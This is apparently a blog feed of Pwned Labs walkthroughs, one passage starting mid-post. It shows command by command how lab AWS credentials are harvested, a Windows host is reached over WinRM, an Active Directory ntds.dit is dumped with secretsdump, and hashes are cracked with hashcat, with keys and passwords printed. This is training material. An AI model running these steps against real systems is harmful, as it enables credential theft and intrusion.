</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;GroupName&#34;</span>: <span style="color:#e6db74">&#34;launch-wizard-19&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;GroupId&#34;</span>: <span style="color:#e6db74">&#34;sg-0ae31edc4377d337b&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Key&#34;</span>: <span style="color:#e6db74">&#34;Name&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Value&#34;</span>: <span style="color:#e6db74">&#34;Backup&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We can see that this was launched using the <code>it-admin</code> SSH Key (which we have) as well as the public IP and DNS name and that it is running Windows.  Our assumption is that this is running either SSH, RDP or WinRM so we will run <code>masscan</code> against the target and have confirmed that Port 5985 (WinRM) is open</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo masscan -p- -e tun0 --rate<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> 44.204.191.38
</span></span><span style="display:flex;"><span>Starting masscan 1.3.2 <span style="color:#f92672">(</span>http://bit.ly/14GZzcT<span style="color:#f92672">)</span> at 2024-07-03 03:57:58 GMT
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning <span style="color:#ae81ff">1</span> hosts <span style="color:#f92672">[</span><span style="color:#ae81ff">65535</span> ports/host<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Discovered open port 5985/tcp on 44.204.191.38
</span></span><span style="display:flex;"><span>rate:  0.00-kpps, 100.00% <span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>We then retrieve the password</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;InstanceId&#34;</span>: <span style="color:#e6db74">&#34;i-04cc1c2c7ec1af1b5&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PasswordData&#34;</span>: <span style="color:#e6db74">&#34;UZ</span>$abRnO<span style="color:#e6db74">!bPj@KQk%BSEaB*IO%reJIX!&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Timestamp&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T22:39:26+00:00&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><blockquote>
<p>If the private key isn&rsquo;t specified nor in the path of where the command is executed from you will get encrypted Password Data</p>
</blockquote>
<p>As we have WinRM open and we know the password we can use <code>evil-winrm</code> to connect which unfortunately didn&rsquo;t work as there must be additional security measures in place.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ evil-winrm -i 44.204.191.38 -u Administrator -p <span style="color:#e6db74">&#39;UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Evil-WinRM shell v3.5
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc<span style="color:#f92672">()</span> <span style="color:#66d9ef">function</span> is unimplemented on this machine
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Info: Establishing connection to remote endpoint
</span></span><span style="display:flex;"><span>*Evil-WinRM* PS The term <span style="color:#e6db74">&#39;Invoke-Expression&#39;</span> is not recognized as the name of a cmdlet, <span style="color:#66d9ef">function</span>, script file, or operable program.
</span></span><span style="display:flex;"><span>Check the spelling of the name, or <span style="color:#66d9ef">if</span> a path was included, verify that the path is correct and try again.    + CategoryInfo
</span></span><span style="display:flex;"><span> : ObjectNotFound: <span style="color:#f92672">(</span>Invoke-Expression:String<span style="color:#f92672">)</span> <span style="color:#f92672">[]</span>, CommandNotFoundException    + FullyQualifiedErrorId : CommandNotFoundException&gt;
</span></span></code></pre></div><p>Time for Plan B, we shall use Powershell.  Whilst I appreciate that Linux has PowerShell, it is best to just run this from a Windows box and I connect to one via RDP and execute the commands from there as it is less headache and stress using the command <code>xfreerdp /u:username /p:password  /v:1.2.3.4 /dynamic-resolution /drive:home/,. +clipboard</code> which gives me access to the Home drive on my computer as well as clipboard access.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS C:\ &gt; $password = ConvertTo-SecureString -AsPlainText -Force -String <span style="color:#e6db74">&#39;UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!&#39;</span>
</span></span><span style="display:flex;"><span>PS C:\ &gt; $credential = New-Object System.Management.Automation.PSCredential <span style="color:#e6db74">&#34;Administrator&#34;</span>,$password
</span></span><span style="display:flex;"><span>PS C:\ &gt; Enter-PSSession -ComputerName <span style="color:#ae81ff">44.204</span>.191.38 -Credential $credential
</span></span></code></pre></div><p>We got an error and had to do some troubleshooting and ended up doing the following</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS C:\ &gt; winrm quickconfig
</span></span><span style="display:flex;"><span>WinRM is not set up to receive requests on this machine.
</span></span><span style="display:flex;"><span>The following changes must be made<span style="color:#960050;background-color:#1e0010">:</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Start the WinRM service.
</span></span><span style="display:flex;"><span>Set the WinRM service type to delayed auto start.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Make these changes [y/n]? y
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WinRM has been updated to receive requests.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WinRM service type changed successfully.
</span></span><span style="display:flex;"><span>WinRM service started.
</span></span><span style="display:flex;"><span>WSManFault
</span></span><span style="display:flex;"><span>    Message
</span></span><span style="display:flex;"><span>        ProviderFault
</span></span><span style="display:flex;"><span>            WSManFault
</span></span><span style="display:flex;"><span>                Message = WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and <span style="color:#66d9ef">try</span> again.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Error number<span style="color:#960050;background-color:#1e0010">:</span>  <span style="color:#ae81ff">-2144108183</span> 0x80338169
</span></span><span style="display:flex;"><span>WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and <span style="color:#66d9ef">try</span> again.
</span></span><span style="display:flex;"><span>PS C:\ &gt; Set-Item WSMan<span style="color:#960050;background-color:#1e0010">:</span>\localhost\Client\TrustedHosts -Value <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>&gt;&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WinRM Security Configuration.
</span></span><span style="display:flex;"><span>This command modifies the TrustedHosts list <span style="color:#66d9ef">for</span> the WinRM client. The computers <span style="color:#66d9ef">in</span> the TrustedHosts list might not be authenticated. The client might send credential information to these
</span></span><span style="display:flex;"><span>computers. Are you sure that you want to modify this list?
</span></span><span style="display:flex;"><span>[<span style="color:#66d9ef">Y] Yes  [N] No  [S</span>] Suspend  [?] Help (<span style="color:#66d9ef">default</span> is <span style="color:#e6db74">&#34;Y&#34;</span>)<span style="color:#960050;background-color:#1e0010">:</span> Y
</span></span></code></pre></div><p>After this we are able to connect</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS C:\ &gt; Enter-PSSession -ComputerName <span style="color:#ae81ff">44.204</span>.191.38 -Credential $credential
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">44.204</span>.191.<span style="color:#ae81ff">38</span>]<span style="color:#960050;background-color:#1e0010">:</span> PS&gt;whoami
</span></span><span style="display:flex;"><span>winrm virtual users\winrm va_115_veeamprox02_administrator
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">44.204</span>.191.<span style="color:#ae81ff">38</span>]<span style="color:#960050;background-color:#1e0010">:</span> PS&gt;
</span></span></code></pre></div><p>We aren&rsquo;t able to run basic commands such as <code>ls</code> or <code>dir</code> without getting an error message, so we ran <code>get-command</code> which gave us the subset of commands that we have to work with.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#ae81ff">44.204</span>.191.<span style="color:#ae81ff">38</span>]<span style="color:#960050;background-color:#1e0010">:</span> PS&gt;get-command
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>CommandType     Name                                               Version    Source
</span></span><span style="display:flex;"><span>-----------     ----                                               -------    ------
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Clear-Host
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Exit-PSSession
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Get-Command
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Get-FormatData
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Get-Help
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Measure-Object
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Out-Default
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span>        Select-Object
</span></span><span style="display:flex;"><span>Cmdlet          Get-ChildItem                                      <span style="color:#ae81ff">3.0</span>.0.0    Microsoft.PowerShell.Management
</span></span><span style="display:flex;"><span>Cmdlet          Get-Content                                        <span style="color:#ae81ff">3.0</span>.0.0    Microsoft.PowerShell.Management
</span></span><span style="display:flex;"><span>Cmdlet          Get-Process                                        <span style="color:#ae81ff">3.0</span>.0.0    Microsoft.PowerShell.Management
</span></span><span style="display:flex;"><span>Cmdlet          Get-Service                                        <span style="color:#ae81ff">3.0</span>.0.0    Microsoft.PowerShell.Management
</span></span></code></pre></div><p>There is not much in the default Administrators account, but there is another account called <code>admin</code> that does contain a <code>.aws</code> directory and we have found another set of keys that we can use.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#ae81ff">44.204</span>.191.<span style="color:#ae81ff">38</span>]<span style="color:#960050;background-color:#1e0010">:</span> PS&gt;get-childitem c:\users\admin -force
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory<span style="color:#960050;background-color:#1e0010">:</span> C:\users\admin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">38</span> AM                .aws
</span></span><span style="display:flex;"><span>d-r---        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">35</span> AM                <span style="color:#ae81ff">3D</span> Objects
</span></span><span style="display:flex;"><span>d--h--       <span style="color:#ae81ff">11</span>/<span style="color:#ae81ff">14</span>/<span style="color:#ae81ff">2018</span>   <span style="color:#ae81ff">4</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">17</span> PM                AppData
</span></span><span style="display:flex;"><span>d--hsl        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">35</span> AM                Application Data
</span></span><span style="display:flex;"><span>d-r---        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">35</span> AM                Contacts
</span></span><span style="display:flex;"><span>d--hsl        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">35</span> AM                Cookies
</span></span><span style="display:flex;"><span>d-r---        <span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">28</span>/<span style="color:#ae81ff">2023</span>  <span style="color:#ae81ff">11</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">35</span> AM                Desktop
</span></span><span style="display:flex;"><span>&lt; --- snip --- &gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">44.204</span>.191.<span style="color:#ae81ff">38</span>]<span style="color:#960050;background-color:#1e0010">:</span> PS&gt;get-content c:\users\admin\.aws\credentials
</span></span><span style="display:flex;"><span>[<span style="color:#66d9ef">default</span>]
</span></span><span style="display:flex;"><span>aws_access_key_id = AKIAWHEOTHRFT5Q4524N
</span></span><span style="display:flex;"><span>aws_secret_access_key = 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
</span></span></code></pre></div><p>With these credentials, we can finally return back to Linux and we will update our configuration and verify the keys and see that we are <code>it-admin</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile admin configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: AKIAWHEOTHRFT5Q4524N
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: KazdtCee+N+ZbiVMpLMs4NcDNTGtwZJNd5+HaVLx
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>~/Hacking/PwnedLabs/LeverageInsecureStorageBackups                                                                     20s  12:58:58
</span></span><span style="display:flex;"><span>❯ aws --profile admin sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAWHEOTHRFWB4TQKI2X&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/it-admin&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We go back and look at the S3 bucket from earlier and we can see an ntds.dit file which is an Active Directory Database and we shall definitely download that and extract the hashes</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile admin s3 ls s3://hl-it-admin --recursive
</span></span><span style="display:flex;"><span>2023-07-28 20:35:38          <span style="color:#ae81ff">0</span> backup-2807/
</span></span><span style="display:flex;"><span>2023-07-28 23:52:58   <span style="color:#ae81ff">33554432</span> backup-2807/ad_backup/Active Directory/ntds.dit
</span></span><span style="display:flex;"><span>2023-07-28 23:53:07      <span style="color:#ae81ff">16384</span> backup-2807/ad_backup/Active Directory/ntds.jfm
</span></span><span style="display:flex;"><span>2023-07-28 23:53:06      <span style="color:#ae81ff">65536</span> backup-2807/ad_backup/registry/SECURITY
</span></span><span style="display:flex;"><span>2023-07-28 23:52:58   <span style="color:#ae81ff">17825792</span> backup-2807/ad_backup/registry/SYSTEM
</span></span><span style="display:flex;"><span>2023-07-27 23:51:45         <span style="color:#ae81ff">99</span> contractor_accessKeys.csv
</span></span><span style="display:flex;"><span>2023-07-28 19:50:49          <span style="color:#ae81ff">0</span> docs/
</span></span><span style="display:flex;"><span>2023-07-28 19:51:07   <span style="color:#ae81ff">10591957</span> docs/veeam_backup_12_agent_management_guide.pdf
</span></span><span style="display:flex;"><span>2023-07-28 19:51:09    <span style="color:#ae81ff">9408343</span> docs/veeam_backup_12_cloud_administrator_guide.pdf
</span></span><span style="display:flex;"><span>2023-07-28 19:47:07         <span style="color:#ae81ff">32</span> flag.txt
</span></span><span style="display:flex;"><span>2023-07-27 23:53:06          <span style="color:#ae81ff">0</span> installer/
</span></span><span style="display:flex;"><span>2023-07-28 05:02:47 <span style="color:#ae81ff">1579290624</span> installer/Veeam.iso
</span></span><span style="display:flex;"><span>2023-07-28 01:34:24          <span style="color:#ae81ff">0</span> ssh_keys/
</span></span><span style="display:flex;"><span>2023-07-28 21:48:18      <span style="color:#ae81ff">17483</span> ssh_keys/ssh_keys_backup.zip
</span></span></code></pre></div><p>We shall download the <code>backup-2807</code> folder to our local machine</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile admin s3 cp s3://hl-it-admin/backup-2807 . --recursive
</span></span><span style="display:flex;"><span>download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.jfm to ad_backup/Active Directory/ntds.jfm
</span></span><span style="display:flex;"><span>download: s3://hl-it-admin/backup-2807/ad_backup/registry/SECURITY to ad_backup/registry/SECURITY
</span></span><span style="display:flex;"><span>download: s3://hl-it-admin/backup-2807/ad_backup/registry/SYSTEM to ad_backup/registry/SYSTEM
</span></span><span style="display:flex;"><span>download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.dit to ad_backup/Active Directory/ntds.dit
</span></span></code></pre></div><p>We have used <code>impacket-secretsdump</code> and have dumped all the hashes</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ impacket-secretsdump -ntds ad_backup/Active<span style="color:#ae81ff">\ </span>Directory/ntds.dit -system ad_backup/registry/SYSTEM local
</span></span><span style="display:flex;"><span>Impacket v0.12.0.dev1 - Copyright <span style="color:#ae81ff">2023</span> Fortra
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Target system bootKey: 0x8e47e7e457e33035cfabaea711975407
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Dumping Domain Credentials <span style="color:#f92672">(</span>domain<span style="color:#ae81ff">\u</span>id:rid:lmhash:nthash<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Searching <span style="color:#66d9ef">for</span> pekList, be patient
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> PEK <span style="color:#75715e"># 0 found and decrypted: 6df8fdd3a446ef9ed1a64c6a03a28ce2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Reading and decrypting hashes from ad_backup/Active Directory/ntds.dit
</span></span><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>DC04$:1003:aad3b435b51404eeaad3b435b51404ee:fc15058af730b1de899a7aa6759e894c:::
</span></span><span style="display:flex;"><span>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb22f21bc86dfe7b0073d9f9f722ae0e:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\l</span>eandra.joice:1232:aad3b435b51404eeaad3b435b51404ee:84cfc9ded98b57bcc517375c5911ca2c:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\l</span>eigh.simone:1233:aad3b435b51404eeaad3b435b51404ee:ad32cc080b0aeb6531200bdaef08adb6:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\h</span>illiary.kim:1234:aad3b435b51404eeaad3b435b51404ee:52edd5f46cf02573d5e2392c67fa0183:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\m</span>elanie.ashlie:1235:aad3b435b51404eeaad3b435b51404ee:58f507bbf45e920e5f3af9ea39bf8407:::
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span></code></pre></div><p>We will clean this up and then pass it into a file for cracking the hashes.  With all the hashes in VIM, removed the unnecessary lines at the top and then Visually Selected all the lines, and in command mode enter <code>awk -F &quot;:&quot; '{print $4}'</code> and this returns all the values at which point we write this out to a file.</p>
<p>Using hashcat with the command <code>hashcat -m 1000 hashes /usr/share/wordlist/rockyou.txt</code> we got the following passwords</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>c52abb1e14677d7ea228fcc1171ed7b7:daniel
</span></span><span style="display:flex;"><span>89c99393bfe3c0a95deba6dcb0b12b43:123abc
</span></span><span style="display:flex;"><span>a4a02c448197f67cd9e982a5e5d0acc3:rabbit
</span></span><span style="display:flex;"><span>1674049edd3d39cead200b0fee90982a:knight
</span></span><span style="display:flex;"><span>89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc
</span></span><span style="display:flex;"><span>4d4df769e6b9b338fabda5846cf85792:&lt;redacted&gt;
</span></span><span style="display:flex;"><span>31d6cfe0d16ae931b73c59d7e0c089c0:
</span></span><span style="display:flex;"><span>58a478135a93ac3bf058a5ea0e8fdb71:Password123
</span></span></code></pre></div><p>We got a little creative and then decided to match the usernames with the passwords</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ <span style="color:#66d9ef">while</span> IFS<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;:&#39;</span> read -r key password; <span style="color:#66d9ef">do</span> grep -F <span style="color:#e6db74">&#34;</span>$key<span style="color:#e6db74">&#34;</span> hashdump | sed <span style="color:#e6db74">&#34;s/</span>$key<span style="color:#e6db74">/</span>$key<span style="color:#e6db74">:</span>$password<span style="color:#e6db74">/&#34;</span>; <span style="color:#66d9ef">done</span> &lt; cracked_passwords
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\r</span>ebeca.juliette:1359:aad3b435b51404eeaad3b435b51404ee:c52abb1e14677d7ea228fcc1171ed7b7:daniel:::
</span></span><span style="display:flex;"><span>mssql_svc:1362:aad3b435b51404eeaad3b435b51404ee:89c99393bfe3c0a95deba6dcb0b12b43:123abc:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\b</span>lair.rosabella:1358:aad3b435b51404eeaad3b435b51404ee:a4a02c448197f67cd9e982a5e5d0acc3:rabbit:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\k</span>etty.carma:1261:aad3b435b51404eeaad3b435b51404ee:1674049edd3d39cead200b0fee90982a:knight:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\l</span>anette.kiele:1278:aad3b435b51404eeaad3b435b51404ee:89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc:::
</span></span><span style="display:flex;"><span>huge-logistics.local<span style="color:#ae81ff">\h</span>ali.lombard:1238:aad3b435b51404eeaad3b435b51404ee:4d4df769e6b9b338fabda5846cf85792:&lt;redacted&gt;:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::::
</span></span><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:Password123:::
</span></span></code></pre></div><p>PWNED!</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Assume Privileged Role with External ID</title>
            <link>https://www.nephos.guru/posts/2024/awsexternalid/</link>
            <pubDate>Tue, 02 Jul 2024 12:12:47 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/awsexternalid/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/assume-privileged-role-with-external-id&#34;&gt;Assume Privileged Role with External ID&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn&amp;rsquo;t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/assume-privileged-role-with-external-id">Assume Privileged Role with External ID</a></p>
<h2 id="scenario">Scenario</h2>
<p>Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn&rsquo;t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Using ffuf to fuzz web server files</li>
<li>Familiarity with the AWS CLI</li>
<li>Use aws-enumerator to automate permission enumeration</li>
<li>Enumerating and extracting secrets from AWS Secrets Manager</li>
<li>Enumerating IAM users, roles and policies using the AWS CLI</li>
<li>Assuming a role using that requires an External ID</li>
<li>Obtaining AWS keys from an AWS Console session</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022 the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a <code>config.json</code> file that contained AWS credentials for their account. Using <a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html">AssumeRole</a> is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers&rsquo; account.</p>
<hr>
<h2 id="attack">Attack</h2>
<p>First thing we need to do is enumerate the target and for a public facing IP I would use <a href="https://www.shodan.io">Shodan</a> but this returned no results for the IP Address so we resort back to trusty <code>nmap</code> which shows us Port 80 is open.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nmap -e tun0 -Pn 52.0.51.234
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-07-02 09:15 PST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 52.0.51.234
